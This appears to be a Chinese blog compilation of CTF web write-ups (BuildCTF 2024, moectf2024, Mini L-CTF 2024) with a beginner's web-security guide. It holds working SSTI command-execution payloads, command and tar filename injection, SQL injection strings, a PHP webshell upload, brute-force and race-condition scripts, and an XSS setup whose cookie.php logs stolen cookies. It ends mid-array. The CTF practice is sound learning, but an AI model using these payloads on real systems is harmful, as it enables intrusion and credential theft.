#获取可用过滤器
if __name__ == '__main__':
app.run(debug=True)
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
{'abs': <built-in function abs>, 
'attr': <function do_attr at 0x00000216DF1E0180>,
'batch': <function do_batch at 0x00000216DF1DAE80>,
'capitalize': <function do_capitalize at 0x00000216DF1D99E0>,
'center': <function do_center at 0x00000216DF1DA020>,
'count': <built-in function len>, 'd': <function do_default at 0x00000216DF1D9EE0>,
'default': <function do_default at 0x00000216DF1D9EE0>,
'dictsort': <function do_dictsort at 0x00000216DF1D9B20>,
'e': <built-in function escape>, 'escape': <built-in function escape>,
'filesizeformat': <function do_filesizeformat at 0x00000216DF1DA660>,
'first': <function do_first at 0x00000216DF1DA520>,
'float': <function do_float at 0x00000216DF1DAB60>,
'forceescape': <function do_forceescape at 0x00000216DF1D9580>,
'format': <function do_format at 0x00000216DF1DAC00>,
'groupby': <function do_groupby at 0x00000216DF1DB880>,
'indent': <function do_indent at 0x00000216DF1DA840>,
'int': <function do_int at 0x00000216DF1DAAC0>,
'join': <function do_join at 0x00000216DF1DA200>,
'last': <function do_last at 0x00000216DF1DA340>,
'length': <built-in function len>,
'list': <function do_list at 0x00000216DF1DBD80>,
'lower': <function do_lower at 0x00000216DF1D9800>,
'items': <function do_items at 0x00000216DF1D98A0>,
'map': <function do_map at 0x00000216DF1E0860>,
'min': <function do_min at 0x00000216DF1D9DA0>,
'max': <function do_max at 0x00000216DF1D9E40>,
'pprint': <function do_pprint at 0x00000216DF1DA700>,
'random': <function do_random at 0x00000216DF1DA5C0>,
'reject': <function do_reject at 0x00000216DF1E0D60>,
'rejectattr': <function do_rejectattr at 0x00000216DF1E1260>,
'replace': <function do_replace at 0x00000216DF1D96C0>,
'reverse': <function do_reverse at 0x00000216DF1E00E0>,
'round': <function do_round at 0x00000216DF1DB100>,
'safe': <function do_mark_safe at 0x00000216DF1DBBA0>,
'select': <function do_select at 0x00000216DF1E0AE0>,
'selectattr': <function do_selectattr at 0x00000216DF1E0FE0>,
'slice': <function do_slice at 0x00000216DF1DB060>,
'sort': <function do_sort at 0x00000216DF1D9BC0>,
'string': <built-in function soft_str>,
'striptags': <function do_striptags at 0x00000216DF1DAD40>,
'sum': <function do_sum at 0x00000216DF1DBB00>,
'title': <function do_title at 0x00000216DF1D9A80>,
'trim': <function do_trim at 0x00000216DF1DACA0>,
'truncate': <function do_truncate at 0x00000216DF1DA8E0>,
'unique': <function do_unique at 0x00000216DF1D9C60>,
'upper': <function do_upper at 0x00000216DF1D9760>,
'urlencode': <function do_urlencode at 0x00000216DF1D9620>,
'urlize': <function do_urlize at 0x00000216DF1DA7A0>,
'wordcount': <function do_wordcount at 0x00000216DF1DAA20>,
'wordwrap': <function do_wordwrap at 0x00000216DF1DA980>,
'xmlattr': <function do_xmlattr at 0x00000216DF1D9940>,
'tojson': <function do_tojson at 0x00000216DF1E1080>}

题目:python ssti1

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
from flask import Flask, request, render_template_string

app = Flask(__name__)

@app.route('/ssti', methods=['GET', 'POST'])
def index():
if request.method == 'POST':
name = request.form['name']
str = f'<h1>{name} is sb</h1>'
return render_template_string(str)
#没回显怎么办(比如最后一句换成)
#render_template_string(str)
#return 'success'

if __name__ == '__main__':
app.run(debug=True, host='0.0.0.0', port=5000)
1
{{url_for.__globals__.__builtins__['eval']("__import__('os').popen('dir').read()")}}

题目:python ssti2

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
from flask import Flask, request, render_template_string

app = Flask(__name__)
@app.post('/ssti')
def index():
if request.method == 'POST':
name = request.form['name']
blacklist = ['__','builtin','globals','app','url_for','get_flashed_messages','lipsum','init','os']
if any(i in name for i in blacklist):
return '滚丫'
str = f'<h1>{name} is sb</h1>'
return render_template_string(str)
#没回显怎么办(比如最后一句换成)
#render_template_string(str)
#return 'success'

if __name__ == '__main__':
app.run(debug=True, host='0.0.0.0', port=5000)
1
{{request["_"+'_ini'+'t_'+'_']['_'+"_global"+"s_"+"_"]["_"+"_built"+"ins_"+"_"]["eval"]("_"+"_import_"+"_('o"+"s').popen('dir').read()")}}

其他的payload自由发挥,基本根据黑名单的不同而变化

黑名单绕过

简单来说就是用等价形式代替

https://chenlvtang.top/2021/03/31/SSTI%E8%BF%9B%E9%98%B6/

https://blog.csdn.net/miuzzx/article/details/110220425

2024buildCTF-web-wp

2024buildCTF -web-wp

我写的网站被rce了?

log_type=||nl${IFS}/fl''ag||

ez!http

跟着按要求操作,用http头伪造

find-the-id

传id爆破就行

babyupload

可上传.htaccess AddType application/x-httpd-php .png

上传2.png GIF89a

访问2.png

RedFlag

1
{{url_for.__globals__['current_app'].config}}

https://www.freebuf.com/articles/web/305268.html

tflock

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
import time
import requests

route = "/login.php"
# url2 = "http://27.25.151.80:38515/admin.php"
url = 'http://27.25.151.80:8000/api/game/2/container/10'
proxy = {
"http": "http://127.0.0.1:8080",
"https": "http://127.0.0.1:8080",
}
cookie = {'GZCTF_Token':'xxxxxxx'}

def des():
response = requests.delete(url, cookies=cookie)
# print(response.text)
# if response.status_code == 429:
# print("等待10秒")
# time.sleep(10)
if response.status_code == 200:
return
else:
des()
i = 0
#载入字典
with open("password.txt", "r") as f:
dictionary = f.readlines()
while True:
response = requests.post(url,cookies=cookie)

# print(response.text)
if response.status_code == 200:
response = response.json()
route='http://'+response["entry"]+"/login.php"
# print(route)
for j in range(2):
i+=1
# print(dictionary[i-1].strip())
data = {"username": "admin", "password": dictionary[i-1].strip()}
print("次数:"+str(i))
r = requests.post(route, data=data).json()
print(r)
if r["success"] == True:
print(dictionary[i].strip())
print(r)
break
des()
elif response.status_code == 400:
des()
continue
else:
# print("等待1")
# time.sleep(10)
continue

admin密码ti1oLz@OhU

flag:${jnDl:rMi://ZPs27nNU9vjg7d6zgFh2EsHvYM435ATt.OA5ti1Y.COM}

这格式无敌了

ez_md5

level1

ffifdyop

https://blog.csdn.net/qq_45521281/article/details/105848249

md5:

1
2
3
4
content: ffifdyop
hex: 276f722736c95d99e921722cf9ed621c
raw: 'or'6\xc9]\x99\xe9!r,\xf9\xedb\x1c
string: 'or'6]!r,b

level2

a=2653531602&b=2427435592

1
2
3
4
5
6
7
8
9
10
<?php
$a = '114514';
$b = 'xxxxxxx';
for($i=1000000;$i<10000000;$i++) {
$b=$i;
$c = md5($a.$b);
if ($c === '3e41f780146b6c246cd49dd296a3da28') {
echo 'ok' . $b;
}
}

Build[CTF.com=1145146803531

https://www.cnblogs.com/meng-han/p/16804708.html

Why_so_serials?

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
<?php
class Gotham{
public $Bruce;
public $Wayne;
public $crime=true;
public function __construct($Bruce,$Wayne){
$this->Bruce = $Bruce;
$this->Wayne = $Wayne;
}
}
echo strlen('";s:5:"crime";b:1;}');
echo str_repeat('joker',19);

$city = new Gotham("Batman",'joker";s:5:"crime";b:1;}');
echo serialize($city);

jokerjokerjokerjokerjokerjokerjokerjokerjokerjokerjokerjokerjokerjokerjokerjokerjokerjokerjoker”;s:5:”crime”;b:1;}

sub

注册登录拿jwt, 改role为admin, 用秘钥BuildCTF加密得eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiJ4dCIsInJvbGUiOiJhZG1pbiIsImV4cCI6MTcyOTMyMjc1NH0.5OMCHZdCC4zXZeeBdlI7iZxzh_CUxx1f8U3FDqi4kRs

file=test2.txt;env

eazyl0gin

1
2
username: "buıldCTF"
password: "012346"

https://www.leavesongs.com/HTML/javascript-up-low-ercase-tip.html

ctrl+shift+i打开开发者工具

socket.on(‘error’处下断点 f5刷新

1
socket.emit('click', JSON.stringify({ "power": 1000000000000000000000000000000000000000000000000000000000000000000000, "value": send.value }));socket.on('error', function (msg) {    console.log("Error")   });socket.on('recievedScore', function (msg) {    let scores = JSON.parse(msg)    send.value = scores.value    console.log(scores.value) });

运行

刮刮乐

http头加 referer:baidu.com

cmd=cat /f*>>4

curl访问路径4

fake_signin

img

flask默认开启多线程(threaded默认True),而users是全局变量,多线程并进,每个都会访问修改users,在supplement_count+=1还未返回时,开多个线程可以同时签到

条件竞争,一次直接签30个

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
from concurrent.futures import *

url = "http://27.25.151.80:43427"

import requests
req = requests.session()
def login():
req.post(f"{url}/login", data={'username':"admin", 'password': "admin"})

def attack(date):
rsp = req.post(f"{url}/supplement_signin", data= {"supplement_date": date})
if b'BuildCTF{' in rsp.content:
c = rsp.content
f1 = c.find(b'BuildCTF{')
f2 = c.find(b'}', f1)
print(c[f1:f2 + 1])
exit(0)

if __name__ == '__main__':
payloads = [f'2024-09-{str(i).zfill(2)}' for i in range(1, 31)]
login()
thr = ThreadPoolExecutor(30)
thr.map(attack, payloads)
'''
b'BuildCTF{5d5a77cc-0406-40d9-9087-bb3953ec7f8c}'
b'BuildCTF{5d5a77cc-0406-40d9-9087-bb3953ec7f8c}'
b'BuildCTF{5d5a77cc-0406-40d9-9087-bb3953ec7f8c}'
b'BuildCTF{5d5a77cc-0406-40d9-9087-bb3953ec7f8c}'
b'BuildCTF{5d5a77cc-0406-40d9-9087-bb3953ec7f8c}'
b'BuildCTF{5d5a77cc-0406-40d9-9087-bb3953ec7f8c}'
b'BuildCTF{5d5a77cc-0406-40d9-9087-bb3953ec7f8c}'
b'BuildCTF{5d5a77cc-0406-40d9-9087-bb3953ec7f8c}'
b'BuildCTF{5d5a77cc-0406-40d9-9087-bb3953ec7f8c}'
b'BuildCTF{5d5a77cc-0406-40d9-9087-bb3953ec7f8c}'
b'BuildCTF{5d5a77cc-0406-40d9-9087-bb3953ec7f8c}'
b'BuildCTF{5d5a77cc-0406-40d9-9087-bb3953ec7f8c}'
b'BuildCTF{5d5a77cc-0406-40d9-9087-bb3953ec7f8c}'
b'BuildCTF{5d5a77cc-0406-40d9-9087-bb3953ec7f8c}'
b'BuildCTF{5d5a77cc-0406-40d9-9087-bb3953ec7f8c}'
b'BuildCTF{5d5a77cc-0406-40d9-9087-bb3953ec7f8c}'b'BuildCTF{5d5a77cc-0406-40d9-9087-bb3953ec7f8c}'

b'BuildCTF{5d5a77cc-0406-40d9-9087-bb3953ec7f8c}'
b'BuildCTF{5d5a77cc-0406-40d9-9087-bb3953ec7f8c}'b'BuildCTF{5d5a77cc-0406-40d9-9087-bb3953ec7f8c}'
'''

打包给你

L6YtvZPBS52bxac

*表示当前目录下所有非隐藏文件文件名组合

上传文件名

  1. –checkpoint=1
  2. –checkpoint-action=exec=$(echo Y2F0IC9HdWVzc19teV9uYW1l|base64 -d)>1
  3. 2.txt(任意文件)

下载两次,第一次相当于把文件名拼到*的地方,执行命令$(echo Y2F0IC9HdWVzc19teV9uYW1l|base64 -d)>1将flag内容写入文件1

第二次将1打包发送给我们

ez_waf

\x0000000000000000截断

找一个文件尾有很多\x00000的文件

bp抓包文件尾添加<?php system(env); 上传成功

moectf2024-Web-wp

web入门指北

phpstudy傻瓜式安装即可,鼓励大家自行搭建,然后附件源码放网站根目录(phpstudy默认一般是WWW),注意删除根目录下的index.php, 覆盖index.html, 因为默认配置访问根目录(GET /)index.php的优先级比index.html高,浏览器输入正确url访问即可回显flag

ez_http

按要求做,做下一步时不要丢弃上一步的操作

ProveYourLove

前端阻止重复提交,发包绕过, exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
//exp.py
import requests

url = 'http://127.0.0.1:53785/questionnaire'

data = {
'nickname': 'xiaotian',
'target': '333',
'message': 'eeeeeeeeee',
'user_gender': 'male',
'target_gender': 'male',
'anonymous': 'false'
}

for i in range(300):
response = requests.post(url, json=data)
print('Status Code:', response.status_code)
print('Response JSON:', response.json())

电院_Backend

后台常用robots协议防止爬虫爬取,访问robots.txt发现存在/admin/,

1
2
User-agent: *
Disallow: /admin/

访问/admin/发现后台,附件给了login.php源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
<?php
error_reporting(0);
session_start();

if($_POST){
$verify_code = $_POST['verify_code'];

// 验证验证码
if (empty($verify_code) || $verify_code !== $_SESSION['captcha_code']) {
echo json_encode(array('status' => 0,'info' => '验证码错误啦,再输入吧'));
unset($_SESSION['captcha_code']);
exit;
}

$email = $_POST['email'];
if(!preg_match("/[a-zA-Z0-9]+@[a-zA-Z0-9]+\\.[a-zA-Z0-9]+/", $email)||preg_match("/or/i", $email)){
echo json_encode(array('status' => 0,'info' => '不存在邮箱为: '.$email.' 的管理员账号!'));
unset($_SESSION['captcha_code']);
exit;
}

$pwd = $_POST['pwd'];
$pwd = md5($pwd);
$conn = mysqli_connect("localhost","root","123456","xdsec",3306);

$sql = "SELECT * FROM admin WHERE email='$email' AND pwd='$pwd'";
$result = mysqli_query($conn,$sql);
$row = mysqli_fetch_array($result);

if($row){
$_SESSION['admin_id'] = $row['id'];
$_SESSION['admin_email'] = $row['email'];
echo json_encode(array('status' => 1,'info' => '登陆成功,moectf{testflag}'));
} else{
echo json_encode(array('status' => 0,'info' => '管理员邮箱或密码错误'));
unset($_SESSION['captcha_code']);
}
}
?>

存在sql注入,登录成功即返回flag, 但是or被ban了,还有正则,验证码正常填,在email这里注入,密码随便填

绕过方法很多,简单列举

1
2
123@a.b' || 1=1 #
123@a.b' union select 1,2,3 --

ImageCloud前置

经典的ssrfpayload: file:///etc/passwd

ImageCloud

随便传个文件,点击已上传文件查看,发现url中有/image?url=http://localhost:5000/static/{filename}

题目给了源码文件,5000端口映射在外网,但是app2.py运行在一个随机端口(5001-6000)需要借助ssrf爆破内网app2的端口

可以通过暴露出来的服务打ssrf爆破app2的运行端口,从而借助ssrf窃取内网app2的图片

web入门指北

moectf2024 web入门指北

xt


moectf2024:

一.web是啥

互联网时代,web应用以及涉及到生活中的方方面面,与后端交互的软件呀,浏览器看到的web网页呀。ctf中web一般涉及web网页安全,通过利用网页前后端的漏洞(代码漏洞也好,服务器漏洞也好)获取关键数据flag,一上来首先需要大家自己搭建一个基本的网站,了解网站的基本架构,连网站是怎么运行的都不知道何谈找漏洞呢。

二.学习方法

首当其要,不懂就搜(善用ai和搜索引擎,小到软件怎么使用,大到某一个庞大的知识点,可以使用多个搜索引擎,推荐google和www.bing),不懂就问(大雪参必备技能---脸皮厚),推荐blog网站:先知社区,freebuf

三.学习路线

配置环境(最难最烦):你可以去搜教程看文档,在配置期间你可能会遇到各种各种看不懂得错误,要有耐心,环境需要边学边配置,这里简单列举好用的

1.linux操作系统需要学习(先学会简单使用shell)使用vm虚拟机装个linux发行版吧,用多了相信你会喜欢linux

2.浏览器及其插件(hackbar,ProxySwitchyOmega,Wappalyzer)

3.常用工具(BurpSuite,PHPStudy,Antsword,dirsearch)安装使用想必你会自己搜叭

4.杂七杂八(clash,uTools,Everything)还有一些常用的网站(fofa,cmd5,站长之家)等等

路线指南:

基础知识:(目标搭建自己的第一个网站)

1.基本的网络协议(重点http)http的请求头请求体请求方法

2.编码与加解密知识,经典的base64,hash等等,需要一点基本的密码知识
可供参考的资料:https://www.cnblogs.com/ruoli-s/p/14206145.html

3.认证方法(cookie,session,jwt

4.前端三要素(html,css,javascript)css知道就好,粗体为重点

5.后端(先从最简单的php开始)开发简单动态网站(使用phpstudy或者手动安装lamp)

6.数据库(先简单学习Mysql)能实现增删改查

7.一个趁手的脚本语言(推荐python)能够实现简单爬虫7.学会使用重要的工具,刚开始不用陷入学工具,简单学会使用burpsuite就行

信息搜集:

知道一个网站是什么框架等等

初探漏洞:

web漏洞多到数不清,先从top10学起,以下只给部分介绍,可以从php语言来看这些漏洞是如何产生的,又怎样修补避免呢,攻击时怎么绕过某些阻碍

1.sql注入

就是拼接sql语句实现读取数据库信息(信息泄露),篡改,甚至删除数据库信息,有多种注入方式和利用技巧,注入类的漏洞很多但都大差不差,sql注入算是经典中的经典,学习的时候不要只看不操作,可以找靶场玩玩

推荐靶场:sql-libs

2.php的安全问题

php使用不当会容易出现很多漏洞,==,===使用不当导致php弱类型呀啥的,而且php语言太灵活容易被利用

文件包含,主要由函数include(),require(),include_once(),require_once()造成他们包含的文件会被解析成php代码执行

变量覆盖,关键变量能被用户控制从而导致问题

远程代码执行rce),比如eval()中的代码能够让用户控制(eval($_POST[‘code’]);)

等等种种

3.前端安全(xss, csrf等等)

由前端造成的漏洞

xss:用户通过html注入篡改网页前端,一般插入javascript使得别人访问时自动运行,比如评论区啥的很多很多甚至用户名都行,只要没啥过滤,都可以让浏览器渲染执行,ctf中主要是窃取cookie
推荐靶场:xss-libs

Csrf: 攻击者可以使得受害者发送http的请求(如果受害者的token没过期的话,嘿嘿)

4.服务端请求伪造(ssrf)

用户能使服务器发送http请求,一般我们是向服务器发请求,而ssrf是使得服务器计算机发出http请求

5.文件上传

用户在上传文件功能的地方(头像呀什么的)上传可执行脚本获得shell(php一句话木马),在服务器可以执行有害命令

6.其他

各种语言的反序列化,nodejs原型链污染, ssti,xxe,各种cms,组件漏洞啥的

四.练习

靶场推荐

  • 攻防世界(有入门靶场)
  • Bugku
  • Buuctf
  • ctfhub
  • Nssctf

不会可以查看wp,一定搞清楚原理,可以学完一个漏洞就找相同类型的靶场打一打(瞎jb乱打不是很建议)

Mini L-CTF 2024 Writeup

Mini L-CTF 2024 Writeup By xt


队伍:err0r

web - Snooker King

前端明文泄露,直接搜miniLCTF

web - SmartPark

第一次接触go语言,做的绕了,访问/没有有用信息,dirsearch扫目录,发现/swagger/index.html, 存在swagger未授权访问漏洞,然后注册(用户名密码有限制),登录拿Authorization,访问/backup拿源码,然后代码审计,吐槽一下(虽然做题跟这个路由没关系

1,懵逼,改版之后改了

2,go语言正则两边加/,想了两天这个正则)

审计发现login路由

password正则是可见字符,

查询函数存在sql注入,(ssti请看另一道,这里我只利用了sql注入)sqlmap梭哈(时间盲注,数据库查烂了没发现flag),最后用参数--os-shell拿到shell,根目录发现flag文件,flag文件提示flag在env中,echo $FLAG获得flag

web - Jvav Guy

打开发现若以系统,猜测cms漏洞,信息搜集发现Springboot存在heapdump泄露漏洞,shiro的反序列化漏洞,先扫目录找到heapdump并下载,搜集heapdump的利用工具找出shirokey, 利用shiro的反序列化漏洞利用工具梭哈写🐎,蚁剑连接找出flag

web - Msgbox

xss, 有csp, CDN可绕过,GitHub建库写攻击脚本即可,flag的cookie没开httponly, 直接利用js获取cookie, 发消息给admin:

1
<script src="https://cdn.jsdelivr.net/gh/xiaotian2023/CDN@2.0.0/js/xss.js"></script>

xss.js内容(我这里用了vps,没有可以用花生壳的内网穿透)也可以构造ajax请求将cookie发到自己账户

cookie.php内容:

1
2
3
4
5
<?php
$cookie = $_GET['cookie'];
$log = fopen("cookie.txt", "a");
fwrite($log, $cookie . "\n");
fclose($log);

cookie.txt文件获取flag

web - SmartPark-Revenge

ssti+sql注入,漏洞在test路由,

请求体全部放入模板,{{.}}可获取结构体FastQuery数据

函数Dbcall是此结构体方法{{.Dbcall "参数"}}可调用此函数,由于数据库用户为超级用户可以直接rce (CVE-2019-9193 PostgreSQL) echo $FLAG即可,对SmartPark应该同样适用

misc - Laugning-Knife-No-Running

浏览器抓包发现与后端交互规则,get请求/restart开始跑步,post请求/location上报位置,get: /checkpoints 获取打卡点,get: /status 获取状态,根据限制写脚本自动化跑步,大体逻辑是从第一个打卡点开始,直线跑到第二个打卡点,再跑到第三个打卡点,再跑到打一个打卡点,循环跑圈直至跑出flag
exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
import requests
import time
from math import radians, sin, cos, sqrt, atan2, asin, atan, degrees

# 服务器的URL
url = "http://localhost:54663"

# 请求头
headers = {
"Accept": "application/json",
"Accept-Encoding": "gzip, deflate, br, zstd",
"Accept-Language": "zh-CN,zh;q=0.9",
"Cache-Control": "no-cache",
"Connection": "keep-alive",
"Cookie": "Phpstorm-3a1aa662=4da2e74e-381c-4043-b1fa-4b10c0901b4a",
"Host": "localhost:57616",
"User-Agent": "Mozilla/5.0 (Linux; Android 4.4.2; Nexus 4 Build/KOT49H) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/34.0.1847.114 Mobile Safari/537.36"
}

length = 0.0 # 距离,单位为公里
# 计算两点之间的距离
def calculate_distance(lat1, lon1, lat2, lon2):
R = 6371.0 # 地球半径,单位为公里

lat1 = radians(lat1)
lon1 = radians(lon1)
lat2 = radians(lat2)
lon2 = radians(lon2)

dlat = lat2 - lat1
dlon = lon2 - lon1

a = sin(dlat / 2) ** 2 + cos(lat1) * cos(lat2) * sin(dlon / 2) ** 2
c = 2 * atan2(sqrt(a), sqrt(1 - a))

distance = R * c

return distance

def calculate_bearing(lat1, lon1, lat2, lon2):
lat1 = radians(lat1)
lon1 = radians(lon1)
lat2 = radians(lat2)
lon2 = radians(lon2)

dlon = lon2 - lon1

y = sin(dlon) * cos(lat2)
x = cos(lat1) * sin(lat2) - sin(lat1) * cos(lat2) * cos(dlon)

bearing = atan2(y, x)
bearing = (degrees(bearing) + 360) % 360

return bearing

def calculate_new_coordinates(lat1, lon1, distance, bearing):
R = 6371.0 # 地球半径,单位为公里

lat1 = radians(lat1)
lon1 = radians(lon1)
bearing = radians(bearing)

lat2 = asin(sin(lat1) * cos(distance / R) + cos(lat1) * sin(distance / R) * cos(bearing))
lon2 = lon1 + atan2(sin(bearing) * sin(distance / R) * cos(lat1), cos(distance / R) - sin(lat1) * sin(lat2))

lat2 = degrees(lat2)
lon2 = degrees(lon2)

return lat2, lon2

# 移动到下一个点
def move_to_next_point(start, end):
lat1, lon1 = start
lat2, lon2 = end
distance = calculate_distance(lat1, lon1, lat2, lon2)
speed = 10 # 速度
steps = int(distance / (98/1000)) # 次数
print("次数"+str(speed))
for _ in range(steps+1):
if(_ == steps):
get_status()
# print(lat1, lon1)
# print(lat2, lon2)
report_location(lat2, lon2)
else:
get_status()
# print(lat1, lon1)
lat1, lon1 = calculate_new_coordinates(lat1, lon1, 98/1000, calculate_bearing(lat1, lon1, lat2, lon2))
# print(lat1, lon1)
# print(calculate_distance(lat1, lon1, lat2, lon2))
# length = length + 90/1000
report_location(lat1, lon1) # 上报位置
# time.sleep(1)



# 获取状态
def get_status():
response = requests.get(url + "/status", headers=headers)
data = response.json()
print(f"Status: {data}")


# 获取检查点
def get_checkpoints():
response = requests.get(url + "/checkpoints", headers=headers)
data = response.json()
print(f"Checkpoints: {data}")
return data["checkpoints"]


# 上报位置
def report_location(lat, lon):
data = {"lat": lat, "lon": lon}
response = requests.post(url + "/location", headers=headers, json=data)
print(f"Report location: {response.json()}")
return response.text


def main():
# 获取检查点
checkpoints = get_checkpoints()
print(f"Checkpoints: {checkpoints}")

# 从第一个检查点开始
current_location = checkpoints[0]

# 遍历所有检查点
while True:
for checkpoint in checkpoints[1:]:
print("run to next checkpoint")
# 按照10m/s的速度移动到下一个检查点
move_to_next_point((current_location["lat"], current_location["lon"]),
(checkpoint["lat"], checkpoint["lon"])
)
current_location = checkpoint
print("run to next checkpoint")

move_to_next_point((current_location["lat"], current_location["lon"]),
(checkpoints[0]["lat"], checkpoints[0]["lon"])
)
current_location = checkpoints[0]

if __name__ == "__main__":
# 启动程序
q=requests.get(url + "/restart", headers=headers)
print(q.text)
main()

Blockchain - dps_1ove

unsigned int溢出
dps初始值999,调用函数减去一个比999大的数,因为是uint16类型,dps不会变为负数,而会变为一个很大的数,之后再调用函数减去一个数使得dps为1000即可,最后调用insolved

Reverse - Bigbanana

挺套的一道题,首先是弄清执行逻辑

指针指向的值

<1> 循环 246 //存数据

<2> 循环 247 248 243 17 //print(也就是看到的第一行输出)

<3> 一次 16 16 248 247 //读入输入前两字符mi

<4> 循环 244 1 244 243 242 254 240 16 248 //逐字符验证flag

因为char类型,超8bit会截断所以需要模256

exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
f = [246, 0, 0, 0, 108, 0, 0, 0, 246, 0,0, 0, 102, 0, 0, 0, 246, 0, 0, 0,71, 0, 0, 0, 246, 0, 0, 0, 102, 0,0, 0, 246, 0, 0, 0, 13, 0, 0, 0,246, 0, 0, 0, 102, 0, 0, 0, 246, 0,0, 0, 5, 0, 0, 0, 246, 0, 0, 0,102, 0, 0, 0, 246, 0, 0, 0, 19, 0,0, 0, 246, 0, 0, 0, 102, 0, 0, 0,246, 0, 0, 0, 10, 0, 0, 0, 246, 0,0, 0, 102, 0, 0, 0, 246, 0, 0, 0,70, 0, 0, 0, 246, 0, 0, 0, 102, 0,0, 0, 246, 0, 0, 0, 2, 0, 0, 0,246, 0, 0, 0, 102, 0, 0, 0, 246, 0,0, 0, 9, 0, 0, 0, 246, 0, 0, 0,102, 0, 0, 0, 246, 0, 0, 0, 9, 0,0, 0, 246, 0, 0, 0, 102, 0, 0, 0,246, 0, 0, 0, 1, 0, 0, 0, 246, 0,0, 0, 102, 0, 0, 0, 246, 0, 0, 0,74, 0, 0, 0, 246, 0, 0, 0, 102, 0,0, 0, 246, 0, 0, 0, 21, 0, 0, 0,246, 0, 0, 0, 102, 0, 0, 0, 246, 0,0, 0, 3, 0, 0, 0, 246, 0, 0, 0,102, 0, 0, 0, 246, 0, 0, 0, 18, 0,0, 0, 246, 0, 0, 0, 102, 0, 0, 0,246, 0, 0, 0, 19, 0, 0, 0, 246, 0,0, 0, 102, 0, 0, 0, 246, 0, 0, 0,8, 0, 0, 0, 246, 0, 0, 0, 102, 0,0, 0, 246, 0, 0, 0, 15, 0, 0, 0,246, 0, 0, 0, 102, 0, 0, 0, 246, 0,0, 0, 11, 0, 0, 0, 246, 0, 0, 0,102, 0, 0, 0, 246, 0, 0, 0, 70, 0,0, 0, 246, 0, 0, 0, 102, 0, 0, 0,246, 0, 0, 0, 3, 0, 0, 0, 246, 0,0, 0, 102, 0, 0, 0, 246, 0, 0, 0,3, 0, 0, 0, 246, 0, 0, 0, 102, 0,0, 0, 246, 0, 0, 0, 20, 0, 0, 0,246, 0, 0, 0, 102, 0, 0, 0, 246, 0,0, 0, 14, 0, 0, 0, 246, 0, 0, 0,102, 0, 0, 0, 246, 0, 0, 0, 18, 0,0, 0, 246, 0, 0, 0, 102, 0, 0, 0,246, 0, 0, 0, 70, 0, 0, 0, 246, 0,0, 0, 102, 0, 0, 0, 246, 0, 0, 0,20, 0, 0, 0, 246, 0, 0, 0, 102, 0,0, 0, 246, 0, 0, 0, 9, 0, 0, 0,246, 0, 0, 0, 102, 0, 0, 0, 246, 0,0, 0, 0, 0, 0, 0, 246, 0, 0, 0,102, 0, 0, 0, 246, 0, 0, 0, 70, 0,0, 0, 246, 0, 0, 0, 102, 0, 0, 0,246, 0, 0, 0, 2, 0, 0, 0, 246, 0,0, 0, 102, 0, 0, 0, 246, 0, 0, 0,3, 0, 0, 0, 246, 0, 0, 0, 102, 0,0, 0, 246, 0, 0, 0, 21, 0, 0, 0,246, 0, 0, 0, 102, 0, 0, 0, 246, 0,0, 0, 21, 0, 0, 0, 246, 0, 0, 0,102, 0, 0, 0, 246, 0, 0, 0, 3, 0,0, 0, 246, 0, 0, 0, 102, 0, 0, 0,246, 0, 0, 0, 20, 0, 0, 0, 246, 0,0, 0, 102, 0, 0, 0, 246, 0, 0, 0,22, 0, 0, 0, 246, 0, 0, 0, 102, 0,0, 0, 246, 0, 0, 0, 70, 0, 0, 0,246, 0, 0, 0, 102, 0, 0, 0, 246, 0,0, 0, 2, 0, 0, 0, 246, 0, 0, 0,102, 0, 0, 0, 246, 0, 0, 0, 20, 0,0, 0, 246, 0, 0, 0, 102, 0, 0, 0,246, 0, 0, 0, 7, 0, 0, 0, 246, 0,0, 0, 102, 0, 0, 0, 246, 0, 0, 0,14, 0, 0, 0, 246, 0, 0, 0, 102, 0,0, 0, 246, 0, 0, 0, 70, 0, 0, 0,246, 0, 0, 0, 102, 0, 0, 0, 246, 0,0, 0, 3, 0, 0, 0, 246, 0, 0, 0,102, 0, 0, 0, 246, 0, 0, 0, 4, 0,0, 0, 246, 0, 0, 0, 102, 0, 0, 0,246, 0, 0, 0, 70, 0, 0, 0, 246, 0,0, 0, 102, 0, 0, 0, 246, 0, 0, 0,10, 0, 0, 0, 246, 0, 0, 0, 102, 0,0, 0, 246, 0, 0, 0, 10, 0, 0, 0,246, 0, 0, 0, 102, 0, 0, 0, 246, 0,0, 0, 15, 0, 0, 0, 246, 0, 0, 0,102, 0, 0, 0, 246, 0, 0, 0, 17, 0,0, 0, 246, 0, 0, 0, 102, 0, 0, 0,246, 0, 0, 0, 70, 0, 0, 0, 246, 0,0, 0, 102, 0, 0, 0, 246, 0, 0, 